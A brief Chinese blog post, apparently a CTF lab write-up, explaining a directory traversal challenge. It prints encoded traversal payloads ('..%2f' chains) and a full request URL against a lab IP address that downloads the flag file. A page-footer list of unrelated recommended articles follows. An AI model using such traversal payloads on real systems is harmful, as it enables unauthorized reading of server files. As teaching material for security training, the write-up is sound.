1.阅读靶场介绍
这里博主捕获到的关键字眼是
目录遍历漏洞
2.启动靶场
如下图所示
3.poc
这里就是构造目录遍历路径
../../../../../../../或者..%2f..%2f..%2f..%2f..%2f
这里博主构造完下面的路径弹出一个文件下载
http://39.106.48.123:39628/..%2f..%2f..%2f..%2f..%2fflag
各位可以参考参考
相关推荐
BenSmith14 小时前
从零上手嵌入式 RTOS：以 Raspberry Pi Pico 2 WH 为例的烧录、定制构建与多系统对比指南汇智信科15 小时前
训练安全管理系统：赋能军消装备训练，实现全流程智能化管控汤愈韬15 小时前
三种常用 NAT 的经典案例汤愈韬16 小时前
NAT Server 与目的Nat其实防守也摸鱼18 小时前
CTF密码学综合教学指南--第三章其实防守也摸鱼18 小时前
CTF密码学综合教学指南--第四章DevilSeagull18 小时前
电脑上安装的服务会自动消失? 推荐项目: localhostSCmanager. 更好管理你的服务!@insist12319 小时前
信息安全-防火墙技术演进全景：从代理NAT 到下一代及专项防火墙不会编程的懒洋洋21 小时前
C# P/Invoke 基础